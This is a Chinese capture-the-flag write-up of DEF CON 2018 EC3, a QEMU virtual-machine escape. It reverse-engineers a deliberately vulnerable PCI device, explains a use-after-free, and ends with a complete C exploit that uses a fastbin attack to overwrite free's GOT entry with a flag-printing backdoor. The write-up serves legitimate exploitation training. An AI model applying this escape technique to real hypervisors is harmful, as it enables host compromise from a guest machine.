CTF QEMU 虚拟机逃逸之Defcon 2018 - EC3

熟悉题目

题目描述:

1
2
3
there's a vulnerable PCI device in the qemu binary. players have to write a kernel driver for the ubuntu kernel that is there

and then they have to exploit the qemu to read flag off the fsystem

这个题目给的qemu-system-x86_64的符号是被stripped掉了,相当于增加了点难度

1
2
giantbranch@ubuntu:~/qemu_escape/defcon-2018-ec3$ file ./qemu-system-x86_64
./qemu-system-x86_64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, forGNU/Linux 2.6.32, BuildID[sha1]=b6c6ab3e87201dc5d18373dee7bee760367a8ffa, stripped

先看启动脚本,初步猜测漏洞在设备ooo中,肯定也是故意写的有漏洞的设备

1
2
#!/bin/sh
./qemu-system-x86_64 -initrd ./initramfs-busybox-x86_64.cpio.gz -nographic -kernel ./vmlinuz-4.4.0-119-generic -append "priority=low console=ttyS0" -device ooo -monitor /dev/null

没有符号,不能直接搜索函数名,那就尝试看看字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.rodata:0000000000B633A1 aOooMmio        db 'ooo-mmio',0         ; DATA XREF: sub_6E64A5+101↑o
.rodata:0000000000B633AA ; char command[]
.rodata:0000000000B633AA command db 'cat ./flag',0 ; DATA XREF: sub_6E65F9+1B↑o
.rodata:0000000000B633B5 ; char aD_10[]
.rodata:0000000000B633B5 aD_10 db '%d',0Ah,0 ; DATA XREF: sub_6E65F9+27↑o
.rodata:0000000000B633B9 aUint64_2 db 'uint64',0 ; DATA XREF: sub_6E6732+93↑o
.rodata:0000000000B633C0 aDmaMask_0 db 'dma_mask',0 ; DATA XREF: sub_6E6732+98↑o
.rodata:0000000000B633C9 aPciDevice_32 db 'pci-device',0 ; DATA XREF: sub_6E67DE+24↑o
.rodata:0000000000B633C9 ; .rodata:0000000000B63428↓o
.rodata:0000000000B633D4 align 20h
.rodata:0000000000B633E0 aOooInstanceIni db 'ooo_instance_init',0
.rodata:0000000000B633E0 ; DATA XREF: sub_6E6732+10↑o
.rodata:0000000000B633F2 align 8
.rodata:0000000000B633F8 aOooClassInit db 'ooo_class_init',0 ; DATA XREF: sub_6E67DE+14↑o

通过ooo_instance_initooo_class_init就可以定位到相应的函数了,此外我们看到有cat ./flag,跟过去发现sub_6E65F9是个执行system("cat ./flag")的后门函数

先看ooo_class_init,根据PCIDeviceClass的定义,可以确定这里vendor_id是0x420,device_id是0x1337,revision是0x69,class_id是0xff

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall ooo_class_init_6E67DE(__int64 a1)
{
__int64 result; // rax

result = sub_868F66(a1, "pci-device", "hw/misc/oooverflow.c", 336LL, "ooo_class_init");
*(_QWORD *)(result + 0xC0) = sub_6E64A5;
*(_QWORD *)(result + 0xC8) = 0LL;
*(_WORD *)(result + 0xE0) = 0x420;
*(_WORD *)(result + 0xE2) = 0x1337;
*(_BYTE *)(result + 0xE4) = 0x69;
*(_WORD *)(result + 0xE6) = 0xFF;
return result;
}

从上面看出,那么sub_6E64A5就是pci_ooo_realize,里面设置了mmio(下面函数部分已经手动重命名过了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 __fastcall pci_ooo_realize_6E64A5(__int64 a1, __int64 a2)
{
unsigned __int64 v3; // [rsp+38h] [rbp-8h]

v3 = __readfsqword(0x28u);
sub_6E5C20(*(_QWORD *)(a1 + 120), 1LL);
if ( !(unsigned int)sub_73A7F4(a1, 0LL, 1LL, 1LL, 0LL, a2) )
{
sub_6E5B0A(a1 + 2680, 1LL, sub_6E5F06, a1);
sub_999AD9(a1 + 2520);
sub_999D8D(a1 + 2568);
sub_99A6CD((pthread_t *)(a1 + 2512), (__int64)&off_B6339D, (void *(*)(void *))sub_6E631A, (void *(*)(void *))a1, 0);
memory_region_init_io(a1 + 2272, a1, off_B63300, a1, "ooo-mmio", 0x1000000LL);
pci_register_bar(a1, 0LL, 0LL, a1 + 2272);
}
return __readfsqword(0x28u) ^ v3;
}

off_B63300就是设置mmio的操作函数指针,那么下面的sub_6E613C对应ooo_mmio_read,sub_6E61F4对应ooo_mmio_write

1
2
3
.rodata:0000000000B63300 mmio_ops_off_B63300 dq offset sub_6E613C
.rodata:0000000000B63300 ; DATA XREF: pci_ooo_realize_6E64A5+10A↑o
.rodata:0000000000B63308 dq offset sub_6E61F4

再看ooo_instance_init,就一些初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
_QWORD *__fastcall ooo_instance_init_6E6732(__int64 a1)
{
const char ****v1; // rax
const char ****v2; // ST28_8

v1 = sub_868C9E(
(const char ****)a1,
(const char **)&off_B6339D,
(__int64)"hw/misc/oooverflow.c",
0x144u,
(__int64)"ooo_instance_init");
v2 = v1;
v1[853] = (const char ***)0xFFFFFFF;
memset(v1 + 854, 0, 0x78uLL);
memset(&qword_1317940, 0, 0x78uLL);
return sub_8695E3(
a1,
"dma_mask",
(__int64)"uint64",
(__int64)sub_6E66F3,
(__int64)sub_6E66F3,
0LL,
(__int64)(v2 + 853),
0);
}

我们看看lspci结果(简版的系统,lspci看不到详细信息),根据上面对对ooo_class_init_6E67DE的分析,的值ooo设备对应的就是下面的00:04.0 Class 00ff: 0420:1337,同时我们也可以得出lspci默认的格式序号 Class classid: vendor_id:device_id

1
2
3
4
5
6
7
8
/ # lspci
00:00.0 Class 0600: 8086:1237
00:01.0 Class 0601: 8086:7000
00:01.1 Class 0101: 8086:7010
00:01.3 Class 0680: 8086:7113
00:02.0 Class 0300: 1234:1111
00:03.0 Class 0200: 8086:100e
00:04.0 Class 00ff: 0420:1337

查看mmio的地址(pmio是/proc/ioports

1
2
/ # cat /proc/iomem | grep 00:04.0
fb000000-fbffffff : 0000:00:04.0

或者这样也行,同样可以看到是fb000000到fbffffff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/ # cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource
0x00000000fb000000 0x00000000fbffffff 0x0000000000040200
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000

重点代码分析

我们根据以往经验重命名下mmio的read和write的参数

首先是read,只有(addr & 0xF00000u) >> 20 != 15gbuf_bss_1317940[v4]不为0才会执行memcpy

memcpy的源地址是以addr的第5个四字节即v4作为gbuf_bss_1317940的索引取出值,再加一个addr的低16位进行偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall ooo_mmio_read_6E613C(__int64 opaque, int addr, unsigned int size)
{
unsigned int v4; // [rsp+34h] [rbp-1Ch]
__int64 dest; // [rsp+38h] [rbp-18h]
__int64 v6; // [rsp+40h] [rbp-10h]
unsigned __int64 v7; // [rsp+48h] [rbp-8h]

v7 = __readfsqword(0x28u);
v6 = opaque;
dest = 270441LL;
v4 = (addr & 0xF0000u) >> 16;
if ( (addr & 0xF00000u) >> 20 != 15 && gbuf_bss_1317940[v4] )
memcpy(&dest, (char *)gbuf_bss_1317940[v4] + (signed __int16)addr, size);
return dest;
}

而接下看看write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
void __fastcall ooo_mmio_write_6E61F4(__int64 opaque, __int64 addr, __int64 value, unsigned int size)
{
unsigned int choose; // eax
char value_point[12]; // [rsp+4h] [rbp-3Ch]
__int64 addr_copy; // [rsp+10h] [rbp-30h]
__int64 v7; // [rsp+18h] [rbp-28h]
__int16 v8; // [rsp+22h] [rbp-1Eh]
int i; // [rsp+24h] [rbp-1Ch]
unsigned int v10; // [rsp+28h] [rbp-18h]
unsigned int v11; // [rsp+2Ch] [rbp-14h]
unsigned int v12; // [rsp+34h] [rbp-Ch]
__int64 v13; // [rsp+38h] [rbp-8h]

v7 = opaque;
addr_copy = addr;
*(_QWORD *)&value_point[4] = value;
v13 = opaque;
v10 = ((unsigned int)addr & 0xF00000) >> 20;
choose = ((unsigned int)addr & 0xF00000) >> 20;
switch ( choose )
{
case 1u:
free(gbuf_bss_1317940[((unsigned int)addr_copy & 0xF0000) >> 16]);
break;
case 2u:
v12 = ((unsigned int)addr_copy & 0xF0000) >> 16;
v8 = addr_copy;
memcpy((char *)gbuf_bss_1317940[v12] + (signed __int16)addr_copy, &value_point[4], size);
break;
case 0u:
v11 = ((unsigned int)addr_copy & 0xF0000) >> 16;
if ( v11 == 15 )
{
for ( i = 0; i <= 14; ++i )
gbuf_bss_1317940[i] = malloc(8LL * *(_QWORD *)&value_point[4]);
}
else
{
gbuf_bss_1317940[v11] = malloc(8LL * *(_QWORD *)&value_point[4]);
}
break;
}
}

通过choose = ((unsigned int)addr & 0xF00000) >> 20;来进行选择,我命名为choose

1、choose为0时,v11为15时,循环分配15次到对应的全局变量中,否则就只分配一次到对应的全局变量索引中
2、choose为1时,释放内存
3、choose为2时,将我们的值写到对应的地址

上面释放内存的时候,没有将指针置空,导致了UAF漏洞,我们就可以改写堆内存的fd,使用fastbin attack去做这个题目,变成了经典的堆题目了,只不过是qemu,交互不一样。

漏洞利用

利用思路:利用fastbin attack改写那个全局指针数组上面的指针,之后即可任由读写(可以改写free或者malloc的got表地址),当然这里我们只需要写即可。(当时比赛是ubuntu 16.04,不过我也是(*^__^*),所以fastbin attack需要绕过size的检查)

注意:

1、执行mmio_write的时候,写入使用32bit写入,不然会两次调用malloc,导致第一次malloc的返回值被覆盖。还有mmap地址复制了之前的代码,mmap大小还是0x1000,导致写入失败,报错如下:

1
[  106.208240] exp[86]: segfault at 7f3dab7c4000 ip 0000000000400a69 sp 00007fffeaa50048 error 6 in exp[400000+ca000]

2、就算free了后改写了fd,也不一定第二个就能申请到fake fd的地址,这是最坑的,根据uaf.io的作者还有我最终的时间,可能qemu在我们之前就malloc了0x60大小的,或者在我们free后,qemu又free了一些0x60的,导致可能我们不止malloc两次才能得到fake fd的地址,所以我们最好循环申请,之后循环写就行
3、还有就是ctrl + A,之后按X可以退出qemu虚拟机
4、由于题目是部署在远程的,busybox实现了telnet和wget,所以我们可以下载我们部署在vps的exp到qemu执行,但是赛后我们方便的还行直接修改本地的文件系统,先创建一个目录(我是建立了rootfs目录),cpio复制进去,之后解压

1
2
gunzip initramfs-busybox-x86_64.cpio.gz
cpio -idmv < initramfs-busybox-x86_64.cpio

最后写脚本将exp放入该目录,重新打包即可

1
2
3
4
giantbranch@ubuntu:~/qemu_escape/defcon-2018-ec3$ cat gcc_cp.sh
gcc -o exp -static exp.c
cp ./exp ./rootfs/
cd ./rootfs && find . | cpio -o --format=newc > ../initramfs-busybox-x86_64.cpio.gz

最终利用我构造的内存布局如下:(0x1317980是用来构造fake size,0x1317950是循环申请是申请到的fake fd)

1
2
3
4
5
6
7
gdb-peda$ x /12gx 0x1317940
0x1317940: 0x00007fffc82a4550 0x00007fffc82a4310
0x1317950: 0x000000000131798d 0x00007fffc829ae00
0x1317960: 0x00007fffc81ecdd0 0x00007fffc81ecf50
0x1317970: 0x0000000000000000 0x0000000000000000
0x1317980: 0x00007fffc82a43d0 0x0000000000000000
0x1317990: 0x00000000011301a0 0x0000000000000000

最终我通过改写free_got为cat flag后门函数,其实我就调用了一次free,可以看到qemu自己又free了两次。

分享一下我调试的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
giantbranch@ubuntu:~/qemu_escape/defcon-2018-ec3$ cat comline.txt
bc
#b *0x6E61F4
# malloc
b *0x6e629a
# free
b *0x6E62D1
# edit
b *0x6E6312
run -initrd ./initramfs-busybox-x86_64.cpio.gz -nographic \
-kernel ./vmlinuz-4.4.0-119-generic \
-append "priority=low console=ttyS0" -device ooo
giantbranch@ubuntu:~/qemu_escape/defcon-2018-ec3$ sudo gdb -q ./qemu-system-x86_64
pwndbg: loaded 176 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./qemu-system-x86_64...(no debugging symbols found)...done.
gdb-peda$ source comline.txt
Breakpoint 1 at 0x6e629a
Breakpoint 2 at 0x6e62d1
Breakpoint 3 at 0x6e6312
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7fffd63c3700 (LWP 16385)]
[New Thread 0x7fffd5bc2700 (LWP 16386)]
[New Thread 0x7fffd53c1700 (LWP 16387)]
[New Thread 0x7fffce7ff700 (LWP 16388)]


SeaBIOS (version rel-1.11.1-0-g0551a4be2c-prebuilt.qemu-project.org)

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
// -*- coding: utf-8 -*-
// @Date : 2020-01-07 10:09:50
// @Author : giantbranch
// @Link : http://www.giantbranch.cn/
// @tags :

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>

// #define MAP_SIZE 4096UL
#define MAP_SIZE 0x1000000
#define MAP_MASK (MAP_SIZE - 1)


char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";

unsigned char* mmio_base;

unsigned char* getMMIOBase(){

int fd;
if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {
perror("open pci device");
exit(-1);
}
mmio_base = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if(mmio_base == (void *) -1) {
perror("mmap");
exit(-1);
}
return mmio_base;
}

void mmio_write(uint64_t addr, uint64_t value, uint32_t size)
{
if (size == 1)
{
*((uint8_t*)(mmio_base + addr)) = value;
}else if (size == 2)
{
*((uint16_t*)(mmio_base + addr)) = value;
}else if (size == 4)
{
*((uint32_t*)(mmio_base + addr)) = value;
}else if (size == 8)
{
*((uint64_t*)(mmio_base + addr)) = value;
}

}

uint32_t mmio_read(uint64_t addr)
{
return *((uint32_t*)(mmio_base + addr));
}

void ooo_malloc(uint32_t i, uint32_t malloc_size, uint32_t size)
{
mmio_write((i<<16)|(0<<20), malloc_size/8, size);
}

void ooo_edit(uint32_t i, uint32_t offset, uint64_t value, uint32_t size)
{
mmio_write((i<<16)|(2<<20)|offset, value, size);
}

void ooo_free(uint32_t i)
{
mmio_write((i<<16)|(1<<20), 0, 1);
}

int main(int argc, char const *argv[])
{
uint32_t catflag_addr = 0x6E65F9;

getMMIOBase();
printf("mmio_base Resource0Base: %p\n", mmio_base);

//create fake size 7f
ooo_malloc(8, 0x60, 1);

//uaf: modify fd
ooo_malloc(0, 0x60, 1);
ooo_free(0);
ooo_edit(0, 0, 0x131797d, 8);

// try to get write access —— 0x131795d
int i = 0;
for (i = 0; i < 6; i++)
{
ooo_malloc(i, 0x60, 1);
}
// free_got = 0x11301A0
// malloc_got = 0x1130B78
// write free_got to gbuf_bss_1317940
for (i = 0; i < 6; i++)
{
ooo_edit(i, 0, 0x11301A0000000, 8);
}

ooo_edit(10, 0, catflag_addr, 8); // write free_got
ooo_free(0); // call free —— in fact call sub_6E65F9

return 0;
}

总结

这个没符号增加了难度,需要从字符串寻找线索,需要熟悉QOM(Qemu Object Model)的知识或者根据以往题目的对比才能像正常题目一样去做题

实际是还是经典的fastbin attack的堆题目,好久没做ctf堆,有点生疏了,坑点就是qemu自身会malloc和free,导致你申请到的fake fd不固定

还有一位大佬是通过write的时候,可以设置偏移(那个是signed __int16类型,所以可以写-32768到32768),这就相当于堆溢出了,他通过堆溢出,将cat flag后门函数的地址乱写一通,覆盖了一些函数指针,最后通过调用system("echo mem > /sys/power/state");,这个是让机器睡眠,调用的一些函数被覆盖成了cat flag,还是挺神奇的。

参考

https://github.com/o-o-overflow/chall-ec-3
https://uaf.io/exploitation/2018/05/13/DefconQuals-2018-EC3.html
https://ray-cp.github.io/archivers/qemu-pwn-DefconQuals-2018-EC3
https://blog.bushwhackers.ru/defconquals2018-ec3/

打赏专区